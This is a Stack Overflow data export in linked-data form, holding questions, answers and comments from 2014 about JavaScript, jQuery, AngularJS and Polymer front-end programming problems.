has body: I found a solution. Just 12 days ago were released new features that allow you to initialize variables (or anything that might serve) and fires these ones when the wizard is initialized. In my case I used the onInit() for event management. At this link is possible to see all the specifications for the jQuery wizard-step. Byez Gaetano

http://stackoverflow.com/comment/40438070
comment on: http://stackoverflow.com/q/25844500
score: 0
type: Comment
type: QuestionComment
has text: well .. I tested your DEMO (http://osvaldas.info/examples/drop-down-navigation-touch-friendly-and-responsive/?home) , and worked well in Firefox, at all resolutions .. I think you have troubles on tables .. no !? be more explicit ..

http://stackoverflow.com/comment/40263798
score: 0
comment on: http://stackoverflow.com/q/25749998
has text: on what basis you want it to not prompt??
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/40214460
has text: scrap my answer, watching the code it looks like the button is part of the gridster grid but really it isn't as it is part of the div with is part of the grid, when the it is being dragged around it is effecting the main grid
comment on: http://stackoverflow.com/q/25722436
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/40396597
type: QuestionComment
type: Comment
has text: Can you give more information about steps you follow. It meant to work with cordova. I am guessing your enviroment is wrong or you missing something so little. Is it work without adding plugin. Thnx
comment on: http://stackoverflow.com/q/25793222
score: 0

http://stackoverflow.com/comment/75094736
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/25839854
has text: Hmm, that I can't explain. Can you create a Fiddle? You can limit the anchors to a class by changing the `a` variable to: `var a = $('a.custom-anchor');`.

http://stackoverflow.com/comment/128638632
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/25865412
has text: console.log(Object.getOwnPropertyNames(window)) //reserved names but not keywords

http://stackoverflow.com/a/25717363
accepted answer of: http://stackoverflow.com/q/25717081
has comment: http://stackoverflow.com/comment/40214072
answers question: http://stackoverflow.com/q/25717081
has body: When you set a value to ng-app (like ng-app="MyApp"), Angular.JS will expect you to have something like var myModule = angular.module("MyApp", []). It will look for controllers only inside that, using myModule.controller() method (or can be directly after the module call). A global function will not work. So, you have 2 options: Replace &lt;html ng-app="MyApp"&gt; with &lt;html ng-app&gt; Creating a module: angular.module("MyApp", []).controller("CartController", function($scope) { /// ... }); Note that if you are using Angular.JS 1.3, you have to use method 2, as the global scope function way was removed in that version.
has comment: http://stackoverflow.com/comment/40226035
type: AcceptedAnswer
downvote count: 0
upvote count: 2
type: Answer
score: 2

http://stackoverflow.com/q/25851540
has answer: http://stackoverflow.com/a/25854314
score: 1
type: Question
has title: Function that returns the data URI Base64 string of image in Javascript
tagged with: canvas
tagged with: encoding
upvote count: 1
downvote count: 0
answer count: 1
tagged with: javascript
tagged with: base64
favorite count: 0
has body: I'm really struggling to write a function for getting the Base64 encoding of an image. Since this function will be part of a bigger script that uses jsPDF.js to make PDFs on-the-fly from a website, It's important the be able to calculate those Base64 encodings as the result of a function. The images will be hosted on the same server, so no same-origin issues. I know the .toDataURL() method of the canvas element can do this and I also know that the image needs to be fully loaded in order to get the Data URL correctly, so I wrote this function // Encode image to Base64 function encodeBase64(url, format) { var image = new Image(), canvas = document.createElement("canvas"), context = canvas.getContext("2d"); image.src = url; image.onload = function () { canvas.width = image.width; canvas.height = image.height; context.drawImage(image, 0, 0, image.width, image.height); var dataURL = canvas.toDataURL(format); alert(dataURL); }; } The problem is that I don't know how to "extract" the dataURL value from the onload function so that the encodeBase64 function simply returns that value and I can put it in an array. Alert returns that string correctly so I'm sure the code works, but if I try to write any other statement like "return dataURL" or similar I just get undefined value. Please help.
tagged with: data-uri
type: UnansweredQuestion

http://stackoverflow.com/a/25775055
type: Answer
has comment: http://stackoverflow.com/comment/40313049
has comment: http://stackoverflow.com/comment/40314603
has comment: http://stackoverflow.com/comment/40320723
answers question: http://stackoverflow.com/q/25774934
has comment: http://stackoverflow.com/comment/40311296
has body: To convert all elements of type password to text: var arr = document.getElementsByTagName("input"); for (var i = 0; i &lt; arr.length; i++) { if (arr[i].type == 'password') arr[i].setAttribute('type','text'); } Note: Not all browsers allow dynamic changes to the type attribute on inputs.
has comment: http://stackoverflow.com/comment/40314815
upvote count: 4
downvote count: 0
has comment: http://stackoverflow.com/comment/40310269
score: 4
has comment: http://stackoverflow.com/comment/40310673
has comment: http://stackoverflow.com/comment/40314938

http://stackoverflow.com/q/25779501
tagged with: angularjs
has answer: http://stackoverflow.com/a/25779643
has body: I wrote a Module to keep track of all my helper functions (scripts/apps.js): angular.module('app', ['ngResource']).run(function($scope){ $scope.UTIL = { setup_pod_variables: function (pods){...} ... }); I'm trying to call the helper function from my Controller defined in another directory: scripts/controller/Dashboard.js: scope.UTIL.setup_pod_variables(pods); I have included the other module: var pods = angular.module('app', []); But it seems that I am still getting an error: TypeError: Cannot read property 'setup_pod_variables' of undefined at new &lt;anonymous&gt; (file:///Users/simon_zhu/Documents/nautilus/app/scripts/controllers/Dashboard.js:16:12) at d (file:///Users/simon_zhu/Documents/nautilus/app/scripts/angular.min.js:30:346) at Object.instantiate (file:///Users/simon_zhu/Documents/nautilus/app/scripts/angular.min.js:30:475) at file:///Users/simon_zhu/Documents/nautilus/app/scripts/angular.min.js:61:228 at file:///Users/simon_zhu/Documents/nautilus/app/scripts/angular.min.js:48:320 at q (file:///Users/simon_zhu/Documents/nautilus/app/scripts/angular.min.js:7:380) at W (file:///Users/simon_zhu/Documents/nautilus/app/scripts/angular.min.js:48:186) at f (file:///Users/simon_zhu/Documents/nautilus/app/scripts/angular.min.js:42:268) at f (file:///Users/simon_zhu/Documents/nautilus/app/scripts/angular.min.js:42:285) at f (file:///Users/simon_zhu/Documents/nautilus/app/scripts/angular.min.js:42:285) Any Ideas?
type: AnsweredQuestion
score: 2
upvote count: 2
type: Question
accepted answer: http://stackoverflow.com/a/25779643
possible better answer: http://stackoverflow.com/a/25779644
has answer: http://stackoverflow.com/a/25779644
tagged with: javascript
answer count: 2
has title: JS Error with Angular JS Module
downvote count: 0
favorite count: 0

http://stackoverflow.com/q/25784716
answer count: 2
has comment: http://stackoverflow.com/comment/40327020
tagged with: javascript
tagged with: jquery
tagged with: jquery-wrap
has answer: http://stackoverflow.com/a/25786889
has body: I have text content inside an h1 element and I'd like to wrap everything before the first br into a span. Here's what I start with : lorem ipsum dolor sit amet lorem ipsum dolor sit amet And here's what I'd like to end with : lorem ipsum dolor sit amet lorem ipsum dolor sit amet
score: 0
has comment: http://stackoverflow.com/comment/40327059
type: UnansweredQuestion
type: Question
has answer: http://stackoverflow.com/a/25785036
has title: How to wrap all text before first tag within an ?

http://stackoverflow.com/comment/40424901
type: QuestionComment
type: Comment
score: 0
has text: you should get started by using indexOf and substring
comment on: http://stackoverflow.com/q/25838068

http://stackoverflow.com/q/25850623
tagged with: javascript
tagged with: jquery
has body: I'm working on a map that changes the linked image based on where the mouse is hovering/what is selected. The hovering and selection for the INTL part of the map are working correctly but when you select the North America part of the map, it refuses to reselect the INTL part. If anyone know how to fix this I would really love the input. This is my first time working with image maps and I've found it a bit confusing. Thanks! $(document).ready(function () { var $a = 15; var $b = 15; $('#north').on("mouseenter", function () { if ($('#mapimg').attr('src') === 'http://pinnacleint.com/new/wp-content/uploads/2014/09/MAP.png') $('#mapimg').attr('src', 'http://pinnacleint.com/new/wp-content/uploads/2014/09/MAP_NA.png'); if ($('#mapimg').attr('src') === 'http://pinnacleint.com/new/wp-content/uploads/2014/09/MAP_INT.png') $('#mapimg').attr('src', 'http://pinnacleint.com/new/wp-content/uploads/2014/09/MAP_NA.png'); }); $('#north').on("mouseleave", function () { if ($('#mapimg').attr('src') === 'http://pinnacleint.com/new/wp-content/uploads/2014/09/MAP_NA.png') $('#mapimg').attr('src', 'http://pinnacleint.com/new/wp-content/uploads/2014/09/MAP.png'); }); $('#intl').on("mouseenter", function () { if ($('#mapimg').attr('src') === 'http://pinnacleint.com/new/wp-content/uploads/2014/09/MAP.png') $('#mapimg').attr('src', 'http://pinnacleint.com/new/wp-content/uploads/2014/09/MAP_INT.png'); }); $('#intl').on("mouseleave", function () { if ($('#mapimg').attr('src') === 'http://pinnacleint.com/new/wp-content/uploads/2014/09/MAP_INT.png') $('#mapimg').attr('src', 'http://pinnacleint.com/new/wp-content/uploads/2014/09/MAP.png'); }); $('#intl').on("click", function () { $('.intlogo').css({"opacity":"1"}); $('.northlogo').css({"opacity":".3"}); var $a = 10; var $b = 5; if ($a &gt; $b) {$('#intl').off("mouseleave");} else if($a &lt; $b){$('#intl').on("mouseleave");} else{ $('#north').on("mouseleave"); $('#intl').on("mouseleave"); } }); $('#north').on("click", function () { $('.intlogo').css(…
score: 0
has answer: http://stackoverflow.com/a/25851692
answer count: 1
has title: Image Map Selection Won't Show Change
type: UnansweredQuestion
tagged with: imagemap
tagged with: selectionchanged
type: Question

http://stackoverflow.com/comment/40452639
score: 1
has text: *"`this` in this context is your function `setQuestion`"* No, it definitely is not. *"It is the same as saying `setQuestion.question`, ..."* Nope. You are right that `this` inside the function does not refer to the same value as `this` outside of the function, but it does not refer to the function itself.
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/25853480

http://stackoverflow.com/comment/40336419
comment on: http://stackoverflow.com/a/25789374
type: Comment
has text: I've changed by answer to use `typeof`
type: AnswerComment
score: 0

http://stackoverflow.com/comment/40336299
type: Comment
has text: This is exactly what I needed, unbind function! Thank you.
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25789920

http://stackoverflow.com/q/25716514
tagged with: http://stackoverflow.com/tag/json
type: Question
has title: Does LocalStorage support Custom (i.e. non-primitive type) Object Storage and Retrieval in any way?
tagged with: javascript
tagged with: jquery
linked to: http://stackoverflow.com/q/2010892
score: 0
linked to: http://stackoverflow.com/q/21474044
answer count: 1
has answer: http://stackoverflow.com/a/25717191
has body: So I would like to pass an object "Hello" in JavaScript file hello.js to another JavaScript file chat.js. Hello contains members such as Strophe.Connections, and others. I read that I could use LocalStorage, i.e. LocalStorage.SetItem("Hello", Hello) and then retrieve the object using LocalStorage.getItem("Hello"). This did not work for me, so I searched a bit more and found JSON stringify, e.g. someone at Storing Objects in HTML5 localStorage and also at How to send javascript object from one page to another page? suggested the use of stringify. So I tried this as well, and here is the relevant code of Hello.js: var Hello = { connection: null, start_time: null, log: function (msg) { $('#log').append("&lt;p&gt;" + msg + "&lt;/p&gt;"); }, send_ping: function (to) { var ping = $iq({ to: to, type: "get", id: "ping1"}).c("ping", {xmlns: "urn:xmpp:ping"}); Hello.log("Sending ping to " + to + "."); console.log("Sending ping to " + to + "."); Hello.start_time = (new Date()).getTime(); Hello.connection.send(ping); }, handle_pong: function (iq) { var elapsed = (new Date()).getTime() - Hello.start_time; Hello.log("Received pong from server in " + elapsed + "ms."); console.log('Received pong from server in " + elapsed + "ms.'); localStorage.setItem("hello", JSON.stringify(Hello)); return false; } }; Here is chat.js var Hello = { conn: null }; $(document).ready(function(e) { Hello = JSON.parse(localStorage.getItem("hello")); $('#input3').bind('click', Hello.connection.send("someStanza"))}); On line Hello = JSON.parse(localStorage.getItem("hello")); I try to restore the object. And 2 line beow I call Hello.connection.send. However, here it becomes clear that I was not able to pass and restore the Hello object correctly. In Google Chrome JavaScript debugger, for example, I get an error at that line stating "Uncaught TypeError: undefined is not a function", which I would say means basically that the Chrome JS engine was not able to find any connection.send member in the Hello Objec…
type: UnansweredQuestion
tagged with: http://stackoverflow.com/tag/html
tagged with: local-storage

http://stackoverflow.com/a/25747110
type: AcceptedAnswer
type: Answer
accepted answer of: http://stackoverflow.com/q/25740469
has body: The dependencies are loaded from other CodeMirror files -- specifically, the htmlmixed mode requires the XML, JavaScript, and CSS modes. Don't go hand-editing those files to change the paths. Instead, keep the CodeMirror directory structure intact, so that the relative paths used to specify dependencies actually work.
answers question: http://stackoverflow.com/q/25740469
score: 0

http://stackoverflow.com/comment/40286289
type: QuestionComment
type: Comment
score: 1
has text: @kougiland its same right but i need to clear field when i click next one
comment on: http://stackoverflow.com/q/25762297

http://stackoverflow.com/a/25873359
downvote count: 0
answers question: http://stackoverflow.com/q/25872726
type: Answer
has body: As it turns out, the culprit is having invalid JSON present. I had a NaN value present in my data. To all the newbies like me out there - if you have an error like mine, please don't forget to check for NaN, and impute an appropriate value inside! I hope this saves you the trouble!
score: 1
upvote count: 1

http://stackoverflow.com/q/25853925
has answer: http://stackoverflow.com/a/25854049
has body: Good day All, I'm working on a fun little side project, for me, to teach myself JavaScript and to address my love of old cheesy sci-fi flicks (Village of the Gods, Them!, Tarantula, Attack of the 50 ft Woman, the Incredible Shrinking Man, Fantastic Voyage, Eight Legged Freaks). I wanted to make a program that would let you put in some basic stats and then hit a button to show what said person would in theory be proportionally on that scale. That said I'm still mocking up the project and wanted to get some basic functionality out of the way. I want to put in an option that on a radio button toggle a text/select field will be either visible or invisible. I'm completely stumped on how to hide the field on a radio button click. I know I need the JavaScript in the header to govern a function to hide a field. I'm also toying with that entire table row vanishing and reappearing as needed. I've looked at Show/hide drop down when radio button is selected. And I understand what the header is doing, but I'm not sure how to implement it to my section, hair in this practicular case. Is there a better means of attempting to hide a value for a first time coder? And thank you in advance for any and all help. --Edit-- Thank everyone for the help, I was unable to edit the code at work, I've updated with the solution I used so that the Div's will be included in the code. Sorry about forgetting those earlier. &lt;html&gt; &lt;head&gt; &lt;title&gt;Size Converter&lt;/title&gt; &lt;script language="javascript" type="text/javascript"&gt; function setVisible(id, visible) { var o = document.getElementById(id); //get the element based on it's id //if the element exists then set it's visiblity if (isElement(o)) { o.style.visibility = visible ? 'visible' : 'hidden'; } else { alert("Element with id '" + id + "' not found."); } } function setDisplay(id, visible) { var o = document.getElementById(id); if (isElement(o)) { o.style.display = visible ? 'block' : 'none'; } else { alert("Element with i…
has title: Java Script Hidden Function
type: Question
accepted answer: http://stackoverflow.com/a/25854255
possible better answer: http://stackoverflow.com/a/25854049
tagged with: javascript
has answer: http://stackoverflow.com/a/25854176
score: 0
tagged with: http://stackoverflow.com/tag/html
linked to: http://stackoverflow.com/q/6847745
answer count: 4
has comment: http://stackoverflow.com/comment/40454106
has answer: http://stackoverflow.com/a/25854255
has comment: http://stackoverflow.com/comment/40453743
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25854635

http://stackoverflow.com/q/25718380
answer count: 2
tagged with: javascript
tagged with: ajax
score: 0
possible better answer: http://stackoverflow.com/a/25718406
has title: File Upload won't trigger on the following loop except the first one
has answer: http://stackoverflow.com/a/25718657
accepted answer: http://stackoverflow.com/a/25718657
has body: I'm using Twitter Modal Bootstrap for my Web Application. In one of the feature of the app is to display a table with corresponding information (I used mysql_query to populate the information). For each row of the table, there is a "View" button. Clicking that View Button will open a "Modal" pop-up which includes a form inside. As you can see, I'm trying to upload a file using AJAX. This is successfully done when I try to do it on the first row. But when I try to do it on the following row, I can't upload the file as if there's no form in it. Table: &lt;table border = '1' width = "30%"&gt; &lt;tr&gt; &lt;th&gt;Asset Picture&lt;/th&gt; &lt;th&gt;Asset Name&lt;/th&gt; &lt;th&gt;Action&lt;/th&gt; &lt;/tr&gt; &lt;?php $data=mysql_query("SELECT * FROM assets") or die("No records found.".mysql_error()); while($row = mysql_fetch_array($data)) { echo "&lt;tr&gt; &lt;td&gt;&lt;img src = '$row[asset_Picture]' width = '100%'&gt;&lt;/td&gt; &lt;td&gt;$row[asset_Name]&gt;&lt;/td&gt; &lt;td&gt;&lt;button data-toggle='modal' id = 'buttonView' style = '$row[asset_ID]' data-target='#myModalEdit-$row['asset_ID']' type='button' class='btn btn-link'&gt;View&lt;/button&gt;&lt;/td&gt; &lt;/tr&gt;"; echo "&lt;div class='modal fade' id='myModalEdit-$row['asset_ID']' tabindex='-1' role='dialog' aria-labelledby='myModalLabel' aria-hidden='true'&gt;"; ?&gt; &lt;div class='modal-dialog'&gt; &lt;div class='modal-content'&gt; &lt;div class='modal-header'&gt; &lt;button type='button' class='close' data-dismiss='modal' aria-hidden='true'&gt;&amp;times;&lt;/button&gt; &lt;h4 class='modal-title' id='myModalLabel'&gt;&lt;b&gt;Testing&lt;/b&gt;&lt;/h4&gt; &lt;/div&gt; &lt;div class='modal-body'&gt; &lt;?php echo "&lt;form style = '$row[asset_ID]' id='uploadForm-$row[asset_ID]' action = 'upload.php' method = 'POST'&gt; &lt;center&gt;&lt;img value = '$row[asset_Picture]' id = asset_Picture-$row[asset_ID]' class = 'img-thumbnail' src = '$row[asset_Picture]' width = '60%'&gt;&lt;/center&gt;&lt;br&gt;&lt;b…
tagged with: php
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25718406
type: Question

http://stackoverflow.com/comment/40391554
type: Comment
has text: dates.compare is javascript function to compare date (from here: http://stackoverflow.com/questions/492994/compare-dates-with-javascript) but it don't work in my case... can you suggest me another way to compare this two dates?
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/25819570

http://stackoverflow.com/q/25728881
accepted answer: http://stackoverflow.com/a/25729247
type: AnsweredQuestion
has title: Sorting Columns Using Angular With Priority
has body: I am trying to use angular to sort my columns. I have got the code of the angular tutorial to work. Now I am having trouble getting one row to always stay at the top. For example I will have one column called mainContact. Only one person can be set true for this value. I want the person with the mainContact as true always to stay at the top row of the table, while the others change with the sorting. I honestly am a little lost for ideas on how to do this. I put together this to demonstrate what I have so far: http://jsfiddle.net/Beastwood/m44fy1j5/ Sorting predicate = {{predicate}}; reverse = {{reverse}} Name Phone Number Age MAIN CONTACT {{friend.name}} {{friend.phone}} {{friend.age}} {{friend.mainContact}} JS FIle var myApp = angular.module('myApp', []) .controller('ExampleController', ['$scope', function($scope) { $scope.friends = [{name:'John', phone:'555-1212', age:10, mainContact:true}, {name:'Mary', phone:'555-9876', age:19, mainContact:false}, {name:'Mike', phone:'555-4321', age:21, mainContact:false}, {name:'Adam', phone:'555-5678', age:35, mainContact:false}, {name:'Julie', phone:'555-8765', age:29, mainContact:false}]; $scope.predicate = '-age'; }]);
type: Question
tagged with: javascript
score: 0
tagged with: http://stackoverflow.com/tag/html
answer count: 1
tagged with: angularjs-orderby
tagged with: angularjs
has answer: http://stackoverflow.com/a/25729247

http://stackoverflow.com/q/25805008
score: 0
type: Question
tagged with: jquery-ui
has comment: http://stackoverflow.com/comment/40364400
has comment: http://stackoverflow.com/comment/40364308
tagged with: javascript
has comment: http://stackoverflow.com/comment/40364782
tagged with: datetimepicker
answer count: 1
tagged with: jquery
has answer: http://stackoverflow.com/a/25805187
has body: I've got two datetimepickers (as found at http://trentrichardson.com/examples/timepicker) and the number of weekdays between them is calculated. This seems to work fine except for one particular week. For example, if you choose 15/09/2014 in the first box and 22/09/2014 in the second, it will calculate 5 days as there are 5 weekdays between them. Great! However, choose 20/10/2014 and 27/10/2014 and it will calculate 4. Also, a choice of 24/10/2014 and 27/10/2014 says that there is no difference between the dates. I've tried lots of little changes in the code (such as changing how the weekends are figured out and suchlike) but it's a strange one as it works in every case I've tried except for that week so it's like I'm trying to fix code that works already. I don't understand why this is happening, do you? JS Fiddle of this: http://jsfiddle.net/xxbjL40q/ HTML When are you off from? When are you back in the office? Please choose a day from both boxes. If you update your 'from' date after your 'back' date, please reselect your 'back' date to correct the day count. JS $('#firstday').datetimepicker({ hourMin: 0, hourMax: 12, stepHour: 12, showMinute: false, showTime: false, dateFormat: 'dd/mm/yy', constrainInput: true, beforeShowDay: $.datepicker.noWeekends, firstDay: 1 }); $('#backday').datetimepicker({ hourMin: 0, hourMax: 12, stepHour: 12, showMinute: false, showTime: false, dateFormat: 'dd/mm/yy', constrainInput: true, beforeShowDay: $.datepicker.noWeekends, firstDay: 1, onSelect: function(){ // get the stuff var firstday = $('#firstday').datepicker('getDate'); var backday = $('#backday').datepicker('getDate'); // sort the weekends out var weekend_count = 0; for (i = firstday.valueOf(); i <= backday.valueOf(); i+= 86400000) { var temp = new Date(i); if (temp.getDay() == 0 || temp.getDay() == 6) { weekend_count++; } } // how many weekdays? var total = ((backday - firstday) / 86400000) - weekend_count; var total_1dp = total.toFixed(1); // put the info where I need it $…
has title: Counting days in jQuery datepicker - one day out for a particular week
has comment: http://stackoverflow.com/comment/40367741
accepted answer: http://stackoverflow.com/a/25805187
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40367623

http://stackoverflow.com/a/25870467
answers question: http://stackoverflow.com/q/25868604
score: 0
type: AcceptedAnswer
type: Answer
has body: you can do it more correctly as you're using MVC: Or you can use bundling: In BundleConfig.cs bundles.Add(new ScriptBundle("~/bundles/jquery").Include( "~/Scripts/jquery-{version}.js", "~/Scripts/jquery-ui-{version}.js" )); bundles.Add(new StyleBundle("~/Content/css").Include( "~/Content/themes/base/jquery.ui.*", )); And usage in view: @Styles.Render("~/Content/css") @Scripts.Render("~/bundles/jquery") There is no need in callng .html() in your script.
accepted answer of: http://stackoverflow.com/q/25868604

http://stackoverflow.com/comment/40470018
score: 0
type: Comment
type: AnswerComment
has text: Yes you are right, most likely, but I didn't mention something that most probably would change things. Please take a look at the version in question (edit)
comment on: http://stackoverflow.com/a/25862181

http://stackoverflow.com/a/25754710
score: 1
type: Answer
upvote count: 1
answers question: http://stackoverflow.com/q/25754687
has body: the ajax request is asynchronous so you will face a racing problem, most probably the page will change before you get a response to your ajax request, and if the page is completely different (not just a div showing) you won't get the response content.
downvote count: 0

directed-acyclic-graphs
type: Tag
tags question: http://stackoverflow.com/q/25836507
tag name: directed-acyclic-graphs

http://stackoverflow.com/comment/40256855
type: Comment
has text: It'll work if you let the textarea be 100% width and positioned relative (or nothing) and the input be absolute. That will let you position the input on top of the textarea.
type: QuestionComment
comment on: http://stackoverflow.com/q/25745980
score: 0

scroll
tags question: http://stackoverflow.com/q/25735460
tags question: http://stackoverflow.com/q/25826152
tags question: http://stackoverflow.com/q/25839565
tags question: http://stackoverflow.com/q/25793419
tags question: http://stackoverflow.com/q/25767921
tags question: http://stackoverflow.com/q/25873031
tags question: http://stackoverflow.com/q/25772103
tags question: http://stackoverflow.com/q/25835029
type: Tag
tags question: http://stackoverflow.com/q/25809045
tags question: http://stackoverflow.com/q/25826054
tags question: http://stackoverflow.com/q/25811653
tags question: http://stackoverflow.com/q/25733845
tags question: http://stackoverflow.com/q/25768895
tags question: http://stackoverflow.com/q/25735566
tags question: http://stackoverflow.com/q/25769535
tags question: http://stackoverflow.com/q/25812509
tag name: scroll
tags question: http://stackoverflow.com/q/25783914
tags question: http://stackoverflow.com/q/25757770
tags question: http://stackoverflow.com/q/25803032
tags question: http://stackoverflow.com/q/25811354

http://stackoverflow.com/a/25736941
upvote count: 1
type: AcceptedAnswer
downvote count: 0
score: 1
accepted answer of: http://stackoverflow.com/q/25736824
answers question: http://stackoverflow.com/q/25736824
type: Answer
has body: Yes you should change IDs to class names and since the element you want to slide is after element you click on you need to use this approach: $(document).ready(function(){ $('.flip').click(function(){ $(this).next('.panel').slideToggle('slow'); }); or you can use .next() without selector: $(document).ready(function(){ $('.flip').click(function(){ $(this).next().slideToggle('slow'); });

http://stackoverflow.com/q/25844198
accepted answer: http://stackoverflow.com/a/25845303
linked to: http://stackoverflow.com/q/895659
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40436740
downvote count: 1
type: Question
has comment: http://stackoverflow.com/comment/40436073
has body: I want to limit a textarea field to Caps (A-Z), numbers (0-9) and this symbold (&amp;). Is this possible with jQuery? this is my js: $('#textarea').keyup(function(e){ var keyed = $(this).val().replace(/[\n]/g,'&lt;br /&gt;'); $('#output').html(keyed); }); Any help please? thanks
upvote count: 0
has comment: http://stackoverflow.com/comment/40436045
tagged with: javascript
has title: Limit textarea field to Caps, numbers and the & symbol with jQuery
tagged with: jquery
score: -1
answer count: 1
favorite count: 0
tagged with: http://stackoverflow.com/tag/html
has answer: http://stackoverflow.com/a/25845303

http://stackoverflow.com/comment/40383736
has text: Would be better if you post your html code.
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25815469

http://stackoverflow.com/a/25789303
upvote count: 1
type: Answer
answers question: http://stackoverflow.com/q/25788886
has body: The way to do want you want is make a ajax call to your route, something like: $.ajax({ url: "&lt;url route to refer_email_exists&gt;", success: function(result){ // check result then alert "That email already exists!" } });
downvote count: 0
score: 1

http://stackoverflow.com/a/25744873
answers question: http://stackoverflow.com/q/25744827
has comment: http://stackoverflow.com/comment/40256140
score: 0
has body: You should post up your "please wait" message before calling getCurrentPosition. Your error and success handlers can then remove the message.
has comment: http://stackoverflow.com/comment/40254262
has comment: http://stackoverflow.com/comment/40257433
type: Answer

http://stackoverflow.com/comment/40413264
comment on: http://stackoverflow.com/a/25831766
has text: thanks @mandeep, but I have tried following with your code, but `result` still doesn't appear. Actually, I have tried with this `$("#result").html("<%= params[:type] %>");` and it's works, a params displaying in browser. I don't know why if I'm using variable `@result` or else to store `params[:type]` (e.g `$("#result").html("<%= @result %>");`, it doesn't work.
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/a/25872636
has comment: http://stackoverflow.com/comment/40512910
downvote count: 0
type: Answer
score: 1
upvote count: 1
has body: Why not have two controllers that both call the same service? They you could put the information in the service and have them both reference that. angular.module('mycontrollers').controller('controllername', ['myService', function (myService) { $scope.email = myService.getEmail; }]); angular.module('mycontrollers').controller('controllername2', ['myService', function (myService) { $scope.email = myService.getEmail; }]); angular.module('myservices').service('myService', ['$rootScope', function ($rootScope) { var self = this; self.getEmail = function () { ... return $rootScope.email; }; self.setEmail = function (email) { $rootScope.email = email; }; }]);
answers question: http://stackoverflow.com/q/25872345

http://stackoverflow.com/q/25826032
has title: Having an issue with Polymer not recognizing a class I make in the imported file
score: 0
answer count: 1
accepted answer: http://stackoverflow.com/a/25826058
type: AnsweredQuestion
type: Question
tagged with: polymer
has body: fairly new to Polymer -- I'm having an issue that I can't seem to figure out. I have this bit of javascript code at the end of the file I am importing for my custom polymer element: Polymer('metafaq-name', { ready: function (){ var subby = document.querySelector('.classname'); console.log(subby); subby.onclick = function () { console.log('clicky'); } } }); and despite me being relatively new to javascript I'm pretty sure there's no (major) errors because it works on any class that's in the main html file, just not on the classes IN the custom polymer element html file where I create it. Any ideas? I can't seem to get it to recognize any class or ID that's in the file. My thoughts have been that there might be an issue with how the custom element is actually getting imported, like maybe it's adding the script before the rest of the element, but I thought by adding a 'ready' it would fix this issue, so now I'm out of ideas. Any help would be appreciated! Thanks! Shan
tagged with: javascript
has answer: http://stackoverflow.com/a/25826058

http://stackoverflow.com/comment/40369880
has text: I have many "nodes", and the appropriate width is not the same for all of them. The exact size would also vary depending on the font available, and probably other factors, so hand-picking a max-width (which is really just like changing the width of the constraining element) will not work. (Even if the text was static and known beforehand)
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/25808296
type: Comment

http://stackoverflow.com/comment/40424064
has text: You are assigning a live HTMLCollection to a string property. Clearly that can't be right.
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25837645

http://stackoverflow.com/q/25867182
accepted answer: http://stackoverflow.com/a/32971421
has answer: http://stackoverflow.com/a/30640424
tagged with: javascript
answer count: 6
has answer: http://stackoverflow.com/a/25868251
score: 33
has comment: http://stackoverflow.com/comment/49346380
has title: Is Google's Polymer a fully functioning Frontend Framework to Subsitute OR Complement other Frontend Frameworks?
has comment: http://stackoverflow.com/comment/55329818
downvote count: 0
has comment: http://stackoverflow.com/comment/40478213
favorite count: 0
tagged with: angularjs
has answer: http://stackoverflow.com/a/25873443
has answer: http://stackoverflow.com/a/25878690
has answer: http://stackoverflow.com/a/32971421
has answer: http://stackoverflow.com/a/31743231
type: AnsweredQuestion
linked to: http://stackoverflow.com/q/25935000
has comment: http://stackoverflow.com/comment/40808244
has comment: http://stackoverflow.com/comment/50263601
has body: The question is in regard to AngularJS, BackboneJS, EmberJS and the other frameworks. I have to translate a project from php to javascript and I have to decide, if I am going to use: AngularJS Polymer A combination of them I prefer using Polymer, because I like it. Yet, I am missing (and correct me where I am wrong) the ability to make: Views and link between them (like in Angualar) Controllers I know that the structure is up to me, on how to build my application, but it seems that angularjs has a well predefined structure for building mvc-applications. Therefore I want to know: Is Polymer a substitute for Angular, if you want to build a well structured web application or is Polymer complementary library to be used along other existing frameworks? EDIT 21.09.2014 No one really answered the question to my fullest satisfaction, therefore I marked it as not answered yet. Many say it just "DEPENDS". But no one is able to elaborate, on what exactly it depends. On the complexity of the application? On the needs of the application? For what needs does Polymer fit and for which doesn't it fit? These are the answers I was looking for. Some say it can be used as a frontend framework. Others say that is just a library and others say "Yes and No". Unfortunately rather confusing answers. I wish there was an official answer to this, but I let you in on what my feeling is. I believe it is a substitute, but Polymer hasn't yet reached the structure, that other frameworks require to work. Maybe this is intentional, maybe it is just a matter of unreached maturity, because the framework is new. I hope that the creators will explain, when it is best to use AngularJS and when should someone use Polymer for building large scalable web applications. EDIT 15.08.2015 Polymer 1.0 is out. And it turns out Polymer is officially NOT a framework and is supposed to work in a complentary way with other frontend frameworks. https://youtu.be/fD2As5RmM8Q?t=6m42s
type: Question
tagged with: polymer
upvote count: 33
possible better answer: http://stackoverflow.com/a/30640424
tagged with: frameworks

http://stackoverflow.com/q/25776246
score: 0
tagged with: http://stackoverflow.com/tag/html
answer count: 1
tagged with: jquery-selecter-plugin
has title: jQuery customClass syntax (jQuery Selecter)
tagged with: css
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25776349
